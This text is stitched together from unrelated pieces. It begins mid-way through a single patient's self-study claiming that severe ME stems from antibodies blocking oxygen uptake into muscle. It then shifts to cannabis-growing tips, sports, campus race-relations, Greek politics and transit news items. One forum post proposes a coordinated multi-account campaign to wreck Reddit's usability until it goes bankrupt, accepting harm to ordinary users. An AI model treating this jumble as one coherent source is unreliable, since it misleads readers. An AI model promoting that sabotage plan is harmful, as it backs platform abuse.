The only difference is that with every relapse I lose more aerobic power, and therefore the anaerobic energy production has to kick in earlier and earlier to help out. And that also means that the more the aerobic production becomes impeded, the less energy is produced. The less energy is produced, the more muscle power one loses and the sooner the anaerobic production has to help out and the more and the sooner lactic acid is produced, even though the activities become more trivial after each relapse. As soon as I finish the exercise, I have to lie down because I’m rapidly losing muscle power in my legs and at the same time I’m starting to get more and more muscle pain. It might sound strange but walking back and forth to the toilet is more difficult than running a marathon. However if you see my lactate levels of 8.0 mmol/l around the 5 minute mark, and 11.8 mmol/l around the 30 minutes mark, both produced by the same exercise, it means that the actual lactate production for this very trivial exercise is 19.8 mmol/l. That is a level that many professional athletes will never / not often reach and that sort of level of lactate makes it easy to understand why this trivial walk is so strenuous an exercise for me and more difficult than running a marathon. And it is therefore no wonder that I have severe loss of muscle power combined with severe muscle pain from this trivial walk to the toilet and back.
An Unexpected Finding
One evening I checked my lactate after exercise yet for some unknown reason the second peak of lactate in the blood, 30 minutes after exercise, didn’t happen. The strange thing was that my legs remained very painful and the 30% reduction in pain, which normally happens at the 30 minute mark didn’t happen either, and it took another 25 minutes before the noticeable 30% reduction in pain was there, this time at the 55 minute mark, whereby my lactate peaked at 9.4 mmol/l.
A few days later I checked my lactate after exercise again, which lasted about as long as the previous exercise, yet this time the lactate was only 8.1, and it was reached after 35 minutes instead of 55, again for no apparent reason, which obviously raised the question why was it not as usual at the 30 minutes mark and what is the main difference between the two episodes, responsible for this difference?
When the maximum lactate in the blood was reached after 55 minutes, I had my evening meal about one hour before the exercise and when it was reached after 35 minutes, I had it about 2 - 2 1/2 hours before the exercise.
It seems logical that if lactic acid stays longer in the muscle that this leads to increased acidity and a reduced pH, which then leads to more muscle fatigue and muscle pain. Something similar was described by Jones et al. [16] when they found that a large subgroup of ME patients exhibited a 4-fold increase of the time taken for the muscle pH to recover to baseline following exercise and the net effect of this is sustained exercise-induced acidosis in the muscle which has a significant impact on muscle function [16] and inhibits oxidative phosphorylation in contracting human skeletal muscle [18] but also contributes significantly to the expression of muscle fatigue [16].
Discussion
In this study, I set out to explore the muscle bioenergetic function in severe ME to see if I could find out why ME patients have severe problems with exercise even though most of them were fit and well, very sporty and active before they fell ill with ME [2].
From the very first day I fell ill with this disease I lost a significant amount of muscle power and at the same time my muscles needed abnormally long to recover from walking trivial distances illustrated by the fact that in the beginning of this disease my legs needed 15 minutes to recover from walking 20 to 30 yards. Over time with every relapse the distance I can walk has become shorter, the recovery time has become longer and at the same time I get severe muscle pain from walking trivial distances.
In this study inorganic phosphate and creatine kinase measured before and after exercise where both found to be normal which shows that the inorganic phosphate is not involved in the delayed muscle recovery and the normal CK shows that there is no sign of muscle damage.
In this study abnormally high lactate levels 5 minutes after exercise were found but at the same time it was found that the lactic acid excretion was split into two and that a second large amount of lactic acid was excreted 30 minutes after exercise. It also showed that eating less than 3 hours before the exercise delayed the excretion of the second batch of lactic acid even further.
A study by Jones et al. [16] suggested that abnormal lactate responses to exercise and excessive acidosis were consistent with impaired capacity for mitochondrial ATP synthesis [16], and also that “total post-exercise acid exposure is of the order of 50-fold higher in CFS patients exercising to the same degree as normal controls, with no reduction in this pattern of sustained high level acidosis with repeat exercise” [16], and Wong et al. [19] reported that ME/CFS patients reach exhaustion much more rapidly than normal subjects, at which point they also have reduced intracellular concentrations of ATP. And they concluded that their data suggest a defect of oxidative metabolism with a resultant acceleration of glycolysis in skeletal muscles of CFS patients [19]. And the findings by Jones et al. and Wong et al. are confirmed by this study
The abnormally high lactate production after exercise, also found by other studies [16, 43, 44], the lactate excretion which is split in two and severely delayed, in combination with my symptoms are consistent with an impaired oxidative phosphorylation whereby the anaerobic energy production, the glycolysis, is helping out to produce energy, which is needed for muscle power, for very simple and trivial activities which one should normally be able to do aerobically and not anaerobically. And with each relapse the oxidative phosphorylation becomes more impaired and my muscles have to rely more and more on the anaerobic energy production, which means that how far I can walk becomes less and less, yet at the same time for increasingly more trivial exercise I produce fast amounts of lactate.
A number of other studies have observed that ME patients have reduced cardio-respiratory reserve with a lower anaerobic threshold than sedentary controls [1,13,16]. One implication of a lowered anaerobic threshold would be increased reliance on anaerobic as opposed to aerobic metabolism with increased lactic acid production within the muscles as a result of over-utilisation of the glycolysis.
Some less familiar with this disease could think that this low exercise capacity is due to deconditioning. However, a phenomenon which is not observed in sedentary controls and seems to be unique to ME (CFS) is the profound negative effect of a Cardio Pulmonary Exercise Test (CPET) on the performance indicators, like VO2 max, 24 hours later at a second CPET [1,13].
Furthermore, a number of studies showed that deconditioning is not the reason for the exercise intolerance in ME/CFS. For example Vermeulen et al. found that “The high increase of the cardiac output relative to the increase of oxygen uptake argues against deconditioning as a cause for physical impairment in these patients.” [45]. Snell et al. demonstrated and concluded that a second exercise test might be necessary to document the atypical recovery response and PEM, which can be severely debilitating and distinguishes ME/CFS patients from sedentary controls [46].
Jones et al. [16] reported that “total post-exercise acid exposure is of the order of 50-fold higher in CFS patients exercising to the same degree as normal controls, with no reduction in this pattern of sustained high level acidosis with repeat exercise” [16], which means that exercise therapy is not the answer because there is an underlying metabolic problem, and “this sustained acid exposure contribute significantly to the expression of fatigue in CFS” [16]. And Shafran noted “There is no consistent evidence for myopathy or physical deconditioning” [47].
Paul et al. objectified the delayed muscle recovery from fatiguing exercise in ME/CFS [12], Black et al. found that people with ME/CFS, contrary to sedentary controls are unable to reach exercise targets because of exercise intolerance and that GET causes “pronounced worsening of symptomology” which means that “subjects with CFS had reached their activity limit” [31] and Bazelmans et al. concluded that “Physical deconditioning does not seem a perpetuating factor in CFS” [48].
And a review by Twisk showed that a number of studies using two day CPET implicate that the aerobic oxidative phosphorylation fails to respond adequately to exercising in ME/CFS [49].
Furthermore, I had the abnormal delayed muscle recovery after doing trivial things from the very first day of this disease as mentioned before and without all the relapses, I would still be able to walk 20 to 30 yards and my legs would still need 15 minutes to recover from this. Just as they did on the very first day of this disease.
My very high lactate levels after this trivial walk also show that this trivial walk is very strenuous exercise for me which I have been doing twice a day for a number of years and if exercise would really be the answer to this disease, on the one hand I would not have fallen ill with this disease and on the other I would have long exercised myself back to full fitness as my very high lactate levels show that I do my upmost.
The current study is the first one I’m aware of, to look at the bioenergetic problems in severe ME, in which the bioenergetic problems are not only much more pronounced than in mild or moderate ME but are also the reason why many people with severe ME are bedridden because they do not have enough muscle power to sit, stand or walk anymore.
As noted before the main characteristic of ME is an abnormally delayed muscle recovery after doing trivial things [11]. The more the aerobic energy production becomes impaired the more trivial the things that you can do become. And at the same time the lactic acid excretion from the muscle cells becomes more impeded and split into two, which is responsible for the delayed muscle recovery. And the combination of these two, i.e. the impaired aerobic energy production and the impaired lactic acid excretion, cause the main characteristic of ME, the abnormally delayed muscle recovery after doing trivial things [11].
Intracellular immune dysfunctions restrict exercise capacity in ME and vigorous exercise further worsens this [50]. Repeated strenuous exercise in healthy people is characterized by concomitant impairment of the cellular immune system and increased inflammation [51,52].
And even though in my case we’re only talking about walking to the toilet and back, judging by my symptoms combined with my lactate levels, this trivial walk constitutes very strenuous exercise for me. ME patients have a more pronounced response in the complement system (i.e. C4a split product levels) [50], lengthened and accentuated oxidative stress [44,53-57] illustrated by abnormal levels of the three markers of oxidative stress (thiobarbituric acid-reactive substances, TBARS, reduced glutathione, GSH, and ascorbic acid, RAA) after exercise as found by Jammes et al. [57] and an alteration in the immune cells’ gene expression profile after exercise [50] which correlate with the muscle fatigue and muscle pain, two of the major problems in ME/CFS, whereas no gene expression changes occurred following exercise in healthy controls [58,59].
Hornig et al. [60] found that early ME/CFS cases, disease duration of less than 3 years, had a prominent activation of both pro- and antiinflammatory cytokines as well as dissociation of intercytokine regulatory networks. And Hornig et al. also [61] found a markedly disturbed immune signature in the cerebrospinal fluid, consistent with immune activation in the central nervous system, and a shift toward an allergic or T helper type-2 pattern associated with autoimmunity. The same changes to the immune system were reported in the blood of people with ME/CFS with long-standing disease. Many of these immune changes relate to postexertional malaise in CFS, a major characteristic of the illness [50] and play an important part in further increasing the delayed recovery time after trivial, yet for ME patients very strenuous exercise.
In a dose-dependent manner, intramuscular infusion of combinations of protons, lactate and ATP, metabolites normally produced by exercise, act in combination to activate sensory neurons in the dorsal root ganglions (DRG) which produced significant sensations of (muscle) fatigue and muscle pain [62,63].
And dorsal root ganglionitis was found in the autopsies of Sofia Mirza and Lynn Gilderdale [2], two patients who died (in) directly of (very) severe ME.
The muscles in many people with (very) severe ME are very sensitive to even the slightest touch, and in combination with the autopsy findings [2] it is suggestive that dorsal root ganglionitis is responsible for this and chronically inflamed dorsal root ganglions are obviously much more sensitive to exercise metabolites, then healthy non inflamed DRG. And it’s likely that these metabolites, which are produced in high quantities by trivial exercise in this disease, as shown by this and other studies [16,43,44], also contribute to the muscle fatigue and muscle pain and the abnormally delayed muscle recovery time in ME/CFS.
In the brain one can have a similar problem as in the muscles i.e. an abnormally delayed brain recovery after doing trivial things. Mathew et al. [64] found that the mean ventricular cerebrospinal fluid lactate concentrations measured by (1)H MRSI in CFS was increased 3.5 fold when compared to healthy volunteers. And a review by Morris et al. [65] found similar findings in a number of other studies.
Patients complain of abnormally long brain recovery times, often called brain fog, which is very well illustrated by the following example. A few years ago when I could still make a telephone call, lasting 5 minutes, my brain needed a whole day before I could make a similar phone call lasting 5 minutes again. As it is the same problem of abnormally high lactate levels combined with abnormally long recovery times, in the same disease, it’s very likely that the combination of an impaired aerobic energy production and an impaired lactic acid excretion are responsible for this just like they are in the muscles. And the same applies to the further lengthening of the recovery time by the immune products, including intracellular immune dysfunctions, and by lengthened and accentuated oxidative stress, as found by other studies, but also by exercise metabolites, in a similar way as they contribute to the abnormally delayed muscle recovery.
When I was a medical student, one of the professors taught us that during the 1930s an exercise experiment whereby participants had to eat a copious meal and directly after had to do strenuous exercise on an exercise bike had to be cancelled after a number of the participants died during this experiment. The problem was caused by too much oxygen going to the stomach and not enough to the muscles and heart. Searching PubMed etc however I wasn’t able to find an article about this experiment, which is probably due to the fact that it was done in the 1930s, so long before the advent of the computer and PubMed.
When my meal was only one hour before the exercise, the amount of oxygen going to my muscles was a lot less than when my meal was 2 - 2 1/2 hours before the exercise. That difference had a very negative effect on my aerobic energy production, my lactic acid excretion and my muscle power and pain.
Could the problem be related to a problem with the glucose uptake as the energy production not only requires oxygen but also glucose which just like oxygen must enter the cell. However if there would be a problem with the glucose uptake by the muscle cells or their mitochondria, then both the aerobic energy production and the anaerobic glycolysis would be impeded, because both pathways need glucose. The consequence of that would be that the anaerobic energy production would not be able to assist, and therefore I would be producing almost no lactate instead of producing a lot of it. A lack of oxygen however affects the aerobic energy production but not the anaerobic glycolysis and that leads to the production of large amounts of lactate just to be able to do a trivial exercise and that’s exactly what happens when I walk the trivial distance to the toilet and back.
The unexpected finding that the lactic acid excretion from the muscles is impeded a lot more if I eat less than 3 hours before walking the trivial distance to the toilet and back, which for me is very strenuous exercise, shows that when the oxygen is directed to the stomach away from the muscles to help digest the food, even less oxygen becomes available to the muscles and the aerobic energy production becomes even more impeded and the split excretion of lactic acid becomes split even further.
Vermeulen et al. found in 2010 [66] that the decrease in mitochondrial ATP synthesis in ME patients is not caused by a defect in the enzymes of the oxidative phosphorylation but that there must be another defect in the energy production responsible for the exercise intolerance in this disease. And in 2014, Vermeulen et al. [45] found low oxygen uptake by muscle cells which causes exercise intolerance in a majority of ME patients, despite a high increase in the cardiac output. Which means that there is a problem with the oxygen uptake by the muscle cells or their mitochondria, confirming my finding.
If you combine that with the Norwegian Rituximab trials [7, 67] which are suggestive that ME is an autoimmune disease and the findings from Hornig et al. [61] that the immune abnormalities they found are associated with autoimmunity, than that suggests that antibodies are directly or indirectly blocking the oxygen uptake into the muscle cells or their mitochondria.
The Norwegian Rituximab studies not only suggest that ME is an autoimmune disease but also show that two thirds of responders are still in remission at the 36-month follow-up [7]. This clearly suggests that the underlying problems in ME are reversible if patients get the right treatment.
And these findings provide a new way for approaching this disease to find these antibodies and develop a test to detect these antibodies so that that can be used as a diagnostic test, to make it easier for doctors to diagnose this disease and easier to select patients for studies who actually have the disease, contrary to studies that used the Oxford criteria [68] which where created so that people with other conditions could be included in so called ME/CFS studies, and the American P2P recentlyconcluded that the Oxford criteria confound the ability to interpret the science, that “continuing to use the Oxford definition may impair progress and cause harm. Therefore, for progress to occur, we recommend that this definition be retired” [3], and that more medication trials can be started so that finally effective treatment for this debilitating neuroimmune disease becomes available.
The underlying metabolic problem also makes it clear why exercise therapy or behavioral therapy will not cure or dramatically improve the level of functioning unless medication that deals with the underlying problem becomes available and then exercise therapy or sport will be a good adjuvant. Just like, it is for everybody else in our (western) society.
Falk Hvidberg et al. [69] recently found that patients with ME/CFS have the lowest health-related quality of life of 21 conditions looked at which included patients with chronic renal failure, ischemic heart disease, a number of cancers including long cancer, strokes etc. The study by Falk Hvidberg et al. [69] confirms the findings from the health status report by Komaroff et al. from 1996 [70]. It also means that nothing has changed in the health situation of ME/CFS patients in the last 20 years and that means that the current 2 available treatments, CBT and GET, which have been heavily promoted for more than 20 years as the treatments for ME/ CFS, which most ME patients have tried, because they desperately want to get better, are not effective at all, or even harmful, as patients have been saying for a long time [32] which was confirmed and objectified by Black et al. [31]. And the American Institute of Medicine recently concluded that there are no effective treatments for this serious and debilitating disease [71].
With the above findings of the underlying metabolic problem in this disease, it is easy to understand why these two treatments are not effective. And the alarming findings by Falk Hvidberg et al. [69] further emphasize the urgent need for effective treatments for patients with this debilitating disease.
Conclusions
This study was the first, or one of the first, to look at the underlying bioenergetic problem in severe ME. As found by other studies in patients with mild to moderate ME, this study found that in severe ME, patients have an impaired oxidative phosphorylation [16,43,44,64] but it also found an impaired lactic acid excretion by the muscle cells and the combination of these two is responsible for the main characteristic of ME, i.e. the abnormally delayed muscle recovery after doing trivial things [11]. The muscle recovery is further delayed by many of the immune changes, including intracellular immune dysfunctions, as found by other studies [50], which further restrict exercise capacity in ME, but also by lengthened and accentuated oxidative stress [44,53-57], and by exercise metabolites, which work on the sensitive receptors in the Dorsal Root Ganglions [60,61], which in ME are chronically inflamed, as demonstrated by the dorsal root ganglionitis found in autopsies of a number of patients with severe ME [2], and are therefore much more sensitive to these exercise metabolites, which are produced in (very) high quantities in response to trivial exercise, which for ME patients, due to the underlining metabolic problem, is (very) strenuous exercise.
In the brain one can have a similar problem as in the muscles, i.e. an abnormally delayed brain recovery after doing trivial things. As it is the same problem in the same disease, and a number of studies have found large amounts of lactate produced by the brain [62,63], it’s very likely that the combination of an impaired aerobic energy production and an impaired lactic acid excretion are responsible for this and that the brain recovery is further delayed by the immune products, including intracellular immune dysfunctions, by a lengthened and accentuated oxidative stress, but also by exercise metabolites, in a similar way as in the muscles.
This study also shows that the impaired oxidative phosphorylation and the impaired lactic acid excretion by the muscle cells are caused by an impaired oxygen uptake by the muscle cells or their mitochondria and in combination with the Norwegian Rituximab studies [7, 65], which suggest that ME is an autoimmune disease, it is likely that antibodies are directly or indirectly blocking the oxygen uptake into the muscle cells or their mitochondria. Blocking the entrance of oxygen into the cell, by directly binding to the oxygen itself or indirectly by changing something in the cell membrane effectively. And the more impaired the oxygen uptake gets, the more muscle power the patient loses, the more severe this disease becomes and the more disabled the patient becomes.
Further research with patients with severe ME, so that we know they have the disease and not something else, is needed to find these antibodies, so that a reliable diagnostic test can be developed for patients with this debilitating disease, as highlighted by the alarming findings by Falk Hvidberg et al. [69] that patients with this disease have the lowest quality of life of 21 diseases looked at, which included patients with chronic renal failure, a number of cancers including long cancer, strokes etc.
The study by Falk Hvidberg et al. [69] confirms the findings from the health status report by Komaroff et al. from 1996 [70]. It also means that nothing has changed in the health situation of ME/CFS patients in the last 20 years and that means that the current 2 available treatments, CBT and GET, which have been heavily promoted for more than 20 years as the treatments for ME/CFS, which most ME patients have tried, because they desperately want to get better, are not effective at all, or even harmful, as patients have been saying for a long time [32], which was confirmed and objectified by Black et al. [31] and the American Institute of Medicine recently concluded that there are no effective treatments for this serious and debilitating disease [71] and it’s long overdue that ME/CFS patients get proper medication so that they get their health and independence back, can come off benefits and go back to work.
Acknowledgements
I would like to thank Ingrid Paul [1] and Jan Vos [2] for answering my questions about delayed muscle recovery and lactic acid (metabolism) and Michael C. Bartlett [3] for proof reading the original manuscript. [1] Sports Physician for top athletes, [2] Exercise Physiologist and [3] Specialist Physician in Internal and General Medicine (retired).
I would also like to thank my parents for typing out my speech memos and for proof reading the original manuscript; my brothers and my children for their help in general and my children also for being two inspiring youngsters from whom the world can learn a lot.
Competing Interests
Low-Stress Training
Instead of topping, pruning or clipping shoots, which can slow growth and requires significant recovery time, try a technique called Low-Stress Training (LST for short), which involves using string, wire or weights to bend and pull down the top branches. As a result, the lower branches get more light and air circulation and, as a result, the plant fills out better.
Not only does LST result in bigger yields, but the technique allows you to control the height and shape of your plants. This is a godsend for those with small spaces doing micro-grows. Manipulating your branches into the desired shape can also help you maintain a level canopy, which results in a bigger harvest of nicely sized buds.
The key to LST is to minimize stress on the plants by bending the branches gently in order to avoid breaking them. New growth is easier to bend than old, so start the process when your plants are young. You’ll also need to factor in a couple extra weeks of vegetative time, but the increased yields will be well worth it. A few companies provide ready-to-use solutions: For example, LST Tops offers elastic bands designed to secure the branches by creating tension, exposing more of your plants’ surface area to light. Check them out at lsttops.com or follow them on Instagram @lsttops.
How to Measure Nutrient Solution
When it comes to measuring fertilizer for either soil or hydro grows, many novices will be tempted to simply use an eyedropper or one of those 1-milliliter pipettes that sometimes come with the solution. But eyedroppers and small pipettes only deliver 1 or 2 ml at a time, forcing you to take multiple measurements. And that’s problematic because each measurement you take has a small amount of error associated with it, and over multiple times this error rate compounds, creating big differences in your grow.
That’s why we recommend measuring liquid fertilizer in as few steps as possible. For most nutrients, the best tools for the job are either a 10 ml graduated cylinder or a 10 ml syringe. To use a 10 ml graduated cylinder, fill it until the bottom of the meniscus (do a search for “meniscus chemistry” to see what we mean) is level with the desired reading when looking at it straight on. Pour this solution into the reservoir and rinse the cylinder with clean water to remove the remaining drops.
Syringes measure volume only by difference. For example, in order to measure 3.5 ml, pull out roughly 5 ml, flip the syringe facing up and push the bubble out so that only liquid remains in the syringe. Next, adjust the volume to exactly 4.5 ml and squirt the contents of the syringe into a small cup with reservoir water until the syringe reads 1 ml, for a total delivery of 3.5 ml (4.5 – 3.5 = 1). Syringes can be very accurate, but always use them to measure by difference only, and be sure to get rid of the bubble so that all you measure is liquid.
Soil vs. Hydro
Traditionally, plants are grown in soil or soilless potting mixes that mimic natural earthy loam. Advances in hydroponics—i.e., growing plants with their roots immersed not in soil, but in a nutrient solution—allow cultivators to increase their plants’ growth rate as well as their final yield. Roots developing in a hydroponic system typically produce bigger plants much faster than the same roots in soil or a soilless mix.
However, hydroponic growing should be considered an advanced technique, because many more factors must be taken into account. Water temperatures, nutrient levels and pH (the acidity or alkalinity of the nutrient solution) must all be monitored several times a day for optimal growth. Growing in soil is much more forgiving, since problems can be solved over a matter of days instead of hours. That’s why beginners should almost always start with a soil-type potting mix to increase their chances of success.
When Allen arrived at Norman, the odds weren’t great for him to see the field. Sam Bradford was already in place and the Sooners had already brought in his replacement in Landry Jones. But like so many heralded recruits, their egos override their good sense and they follow a program and don’t pay attention to just how potentially daunting their personal struggle will be to get on the field.
So it should come as a surprise to no one that after sitting behind Landry and then losing that spot to fellow quarterback Blake Bell, the writing is on the wall that Allen has no real shot at seeing the field in 2013. With a possible shift in scheme on offense Allen could have once again been third on the depth chart.
But thankfully for him, Allen will be able to transfer after he graduates and according to NCAA rule will not need to sit a year. This means that if he still clings to the hopes of salvaging a football career whether it’s college or the pros, he’ll likely have one season to do it. The question then becomes, where would he transfer to? It seems the University of Indiana would make the most sense as that’s his home state and he had stated that he’d like to get back closer to home. We should know in the coming weeks just where he’s going to go, but for me I just hope he goes somewhere that gives him an opportunity to play.
The report begins with a letter from the committee chairman, journalism professor Berkley Hudson, who acknowledges that although the committee focused on race relations, they were told “by some faculty members that [the committee] needed to consider [its] work more broadly in terms of diversity, intersectionality, and inclusion.”
"The judgement of ‘racist’ stops communication and entrenches people in their positions.”
Hudson writes that some of Mizzou’s white faculty “did not understand the problem of race relations at Mizzou.”
[RELATED: After chaotic year, Mizzou restricts protests]
The report also contains insights and reflections from committee members. Stephanie Hernandez, coordinator of Mizzou’s Multicultural Center, insists that “people of Color understand how racism impacts their lives. And as much as we explain it, many of the White people in the group did not seem to get it or even believe it.”
Camila Manrique, a professor in the School of Medicine, writes that “racial aggressions” can occur under an “umbrella of blissful ignorance” and that perpetrators should be made aware of it.
One committee member, Agricultural Economics professor Ray Massey, had a slightly different take.
“White people don’t know want [sic] to talk about racial issues because missteps are likely to bring the charge of racism against them,” he says. “One of the worst accusations that can be leveled at someone today is to say that they are racist. The judgement of ‘racist’ stops communication and entrenches people in their positions.”
Massey adds that he’s “unconvinced” that institutional racism is a problem at Mizzou, but says he is aware that incidents of discrimination occur on an individual level.
[RELATED: Mizzou football players strike, call for president to be fired]
A transcript of a podcast by plant sciences professor Craig Roberts is also included in the report, in which he says, “When good whites see these extreme incidents, they become upset and demand that justice be done. After the racist perpetrators are arrested, good whites breathe easy. . . . The fewer overt incidents mask the thousands of subtle incidents, which make up the ‘way of life’ racism. . . . The subtle racism is difficult to detect for white people.”
Though the group has existed for sixteen months, its members have not come to a uniform conclusion on how to address racial tensions at Mizzou.
Leigh Neier, from the College of Education, suggested a Center for Teaching Excellence that would allow professors from different disciplines to collaborate on strategies for addressing race issues, but former Mizzou Multicultural Center director Stephanie Hernandez went even further by declaring that faculty need “intensive education,” not merely “training,” to help them promote inclusivity in the classroom and in their curricula.
Massey and Law School president Mike Middleton, conversely, emphasized the importance of free expression on campus as opposed to a training-oriented “top down” approach.
“We must recommit to the university as a marketplace of ideas and refuse to indoctrinate. During student and employee orientation training, we should have debates between people who cogently represent multiple perspectives—even those with whom we, as a whole, disagree,” Massey argues. “Good arguments are more effective than one-­sided arguments in changing minds.”
Similarly, Middleton cited the importance of “honest personal interactions between people of different backgrounds with a greater population on campus to provide perspective and open dialogue.”
[RELATED: AAUP condemns lack of academic freedom at Mizzou]
Journalism graduate Corie Wilkins, one of the original students on the committee, was more blunt with his answer, demanding the school hire more black faculty members because he is “at a point now where I actually get angry because I feel like my intelligence isn’t being respected.”
“You simply need more black faculty,” he states. “Move with a sense of urgency and do whatever the hell it takes to get these professors and faculty members.
“Let me tell you guys something you already know: Mizzou is the laughing stock of academia across the country,” he adds. “It’s disgusting, and we need to do whatever it takes to get this stain off our leger [sic]. It’s ugly, and it stinks.”
Obviously there would be counterreactions from pissed off reddit users in donations and such, but this would be irrelevant over the course of weeks and even months of destroying Reddit's usability. Likely reaction by them would be to ban all the_donald users immediately and stop new registrations. But this alone would damage Reddit's financial prospects tremendously.
We'd certainly need alternative accounts but I do not think that they could find all. If only a few thousand pedes persist in this effort Reddit will fall. If they re-open registration we attack again. We do this until they are bankrupt, irrelevant or capitulate to our demands. We'd need a campaign and propaganda effort, but we're the best at that. We can recruit outside forces, I'm sure 4chan would like to see the place burn. My suggestion for naming the operation would be 'Make Reddit Great Again' and our demands are free speech and an end to admin harrassment, also force them to tackle the anti-trump corporate bot subs and reveal our true numbers and make a report on all the propaganda tactics they have applied to our dom. I'm sure crowdsourced shitposting will come up with all sorts of meme magic to make this effort succeed, it won't be that simple, their admins will come up with stuff to slow us down, but they will miss the target and normal users will suffer. This is a good thing, as Lenin said: "The worse, the better."
This strategy targets a weakness that is an inbuilt feature of Reddit. Aaron Schwartz developed a website that is incredible vulnerable to democratic unrest, let us celebrate his genius by destoying the facists that have usurped his legacy. Please consider this modest proposal.
Prime Minister George Papandreou said he was handing over to a coalition that does not exist and then failed to install an old-style politician and personal ally as premier.
On a day that was bizarre and chaotic even by Greek political standards, Papandreou wished his successor well and headed off to meet the president — only for it to emerge that there was no successor due to feuding in the political parties.
Papademos, whose candidacy had seemed doomed, insisted that both the socialist and conservative parties sign written undertakings to support Greece’s 130 billion euro ($176 billion) bailout, as demanded by the European Union, a government source said.
The outgoing prime minister had agreed to the terms laid down by Papademos, who as Bank of Greece governor oversaw the country’s adoption of the euro in 2002, the source added.
Papademos made his demands for both major parties to back the bailout package, which includes austerity measures that are likely to prove highly unpopular, amid warnings that Europe is running out of patience with Greece and may cut a financial lifeline that the party leaders seem to take for granted.
Stefanos Manos, a former finance minister, said the behavior of Papandreou and conservative leader Antonis Samaras was undermining Greece’s future in the euro and risking a possible return to the national currency.
“The Europeans are sick of us. Papandreou and Samaras don’t realize they will stop giving us money and we will return to the drachma,” said Manos. “They are going to destroy us. These problems demand decision-making. They can’t decide on anything and they are fighting like cat and dog.”
Greeks and the nation’s international lenders have watched in growing horror for three days as party leaders feuded over a shrinking list of credible candidates to lead the national unity coalition after Papandreou’s government imploded.
Greece will run out of money next month unless the new government agrees emergency funding with the European Union and International Monetary Fund, Greece’s last remaining lenders.
LAST MINUTE SNAGS
Earlier, party sources said senior members of the socialist and conservative camps had settled on the speaker of parliament, veteran socialist Filippos Petsalnikos, as the new prime minister — barring last-minute snags.
Papandreou then gave an emotional television address, supposed to be his last to the nation as premier, saying this deal had saved country’s membership of the euro zone.
“I am proud that, despite the difficulties, we avoided bankruptcy and ensured the country stayed on its feet,” he said. “I want to wish the new prime minister success, I will support the new effort with all my strength.
“Today, despite our differences — political and social differences do exist — we have put aside our fruitless conflict and disagreement,” Papandreou said.
Papandreou and Samaras then began talks with President Karolos Papoulias on the new coalition. However, before leaders of smaller parties could join them to seal the coalition, the meeting was abruptly halted.
But snags had indeed emerged, with large sections of Papandreou’s PASOK party and the conservative New Democracy refusing to back Petsalnikos.
Party sources said some lawmakers saw him as a pawn of Papandreou. “We wanted a strong a man who could handle all the economic issues,” a socialist lawmaker said. “This candidacy is so close to Papandreou’s policies, it does not signal the change the Greek people wanted.”
The president’s office said a meeting of party leaders would be held at 0800 GMT Thursday, although in the current chaotic atmosphere political talks are often delayed or fail to happen at all.
One of the few things that the parties agreed was that early elections be held on February 19. However, the government sources said that Papademos had also stipulated that the coalition’s life could extend beyond that date if necessary.
Greece's Prime Minister George Papandreou holds an emergency cabinet meeting at the parliament in Athens November 8, 2011. REUTERS/www.papandreou.gr/Handout
The next government has much to do. As well as winning parliamentary approval for the bailout, it has to pass the 2012 budget and secure the latest 8 billion euro installment of Greece’s original rescue that was pulled together last year, to avoid bankruptcy when big debt repayments come due in December.
For its part, the European Union needs to put out the fire in Greece to prove to international financial markets that it can tackle another blaze in Italy, a far bigger economy also in economic and political crisis.
Some lawmakers backed a return to the earlier plan, which had appeared stalled, of recruiting Papademos to give the new government the credibility that politicians lost long ago.
“The only solution is Papademos. If he accepts by tomorrow morning we will be able to form a strong government that will pull the country out of the crisis,” socialist lawmaker Spyros Vougias told Reuters.
Papandreou discussed a Papademos candidacy late Wednesday with Samaras, and urged the conservative leader to contact the former ECB policymaker, a government official said.
GREEKS WANT EUROS — IN CASH
Bank of Greece governor George Provopoulos made a rare intervention in Greek politics Wednesday.
“The uncertainty is hurting the economy and the banking system,” Provopoulos told Reuters. “There must be a strong government that will work hard to ensure the country’s future in the euro zone.”
Greeks have pulled their savings from banks over the past week because of the deepening political crisis and fear of an exit from the euro, banking sources said. [nL6E7M94KI]
They withdrew as much as 5 billion euros — nearly 3 percent of total deposits — after Papandreou’s shock call last week for a referendum on the euro zone bailout, said one banker, who declined to be named.
“Many people withdrew their money from banks Thursday and Friday and money couriers had a hard time supplying banks with cash to satisfy the emergency demand,” said another banking source, who also requested anonymity.
Slideshow (5 Images)
Papandreou provoked uproar with the plan, due to the likelihood voters would have rejected the package, pushing Greece into bankruptcy and casting doubt on its future in the euro. Under intense pressure from home and abroad, he backed down but was forced to make way for the unity coalition.
Many wealthy Greeks moved their money into foreign banks last year as the crisis deepened. Now other people are demanding sometimes large amounts in euro banknotes, fearing that any bank savings might be converted into devalued new drachma if Greece is forced to revert to its national currency.
“In this day and age when we’re scraping funds together to build and maintain transit, it’s really prudent to ensure the money we spend brings us the maximum number of benefits,” says Stephen Davis, Transportation for America’s (TFA) communications director. “Efficient land use around transit doesn’t just happen by building transit. You can’t just wave a magic wand and hope great things are going to happen.”
TFA played a small role in advocating for getting the pilot program funded through MAP-21, the 2012 federal transportation package. The program provides $10 million each year for municipalities and agencies doing planning work on a transportation project that’s also seeking funding from the federal Capital Investment Grants program. Last year would’ve been the first year of grants, but none were given, hence the nearly $20 million announced this month.
“Transit-oriented development is critical to the success of new projects and to the economy of the local communities they serve,” FTA Acting Administrator Therese McMillan said in a press release. “These grants will help communities like Tacoma develop a transportation system that encourages people to use transit to reach jobs, education, medical care, housing and other vital services that they need.”
Tacoma, Washington, will get $2 million to create a “mobility and economic development plan” to improve pedestrian, bicycle and driver conditions around the new stations that would get built in a proposed extension of their LINK light-rail system.
The program emphasizes the need for corridor-wide planning in order to ensure planning (or a lack thereof) around one station doesn’t negate the efforts around another. Davis explains, “If you have three cities connected by a line and one city says, ‘we just want a parking lot at our station,’ it undercuts the work at other stations.”
Lansing, Michigan’s Capital Area Transportation Authority got $1.25 million to do TOD planning along an 8.5-mile bus rapid transit line that maintains local character, encourages mixed-use development and establishes common design elements along the corridor.
Pittsburgh’s Urban Redevelopment Authority received $1.2 million to do TOD planning and outreach along a proposed bus rapid transit line connecting downtown and Eastside neighborhoods.
This emphasis on comprehensive transit planning is great, but Davis points out that we shouldn’t get too giddy about the pilot: “$10 million is a very small slice of the federal transportation programs. It’s a drop in the bucket.” Nonetheless, he’s excited it’s off the ground and making an impact, especially in the mid-sized cities without legacy transit systems that are grantees in this first round.
(Fox News) – An Indiana Republican Party office was vandalized last week after someone tossed two bricks through the window, officials said Monday.
Signs for presidential nominee Donald Trump and Rep. Todd Young were hanging in the window of the Delaware County office on Oct. 8 when the landscaping bricks were tossed through the glass, officials said in a Facebook post.
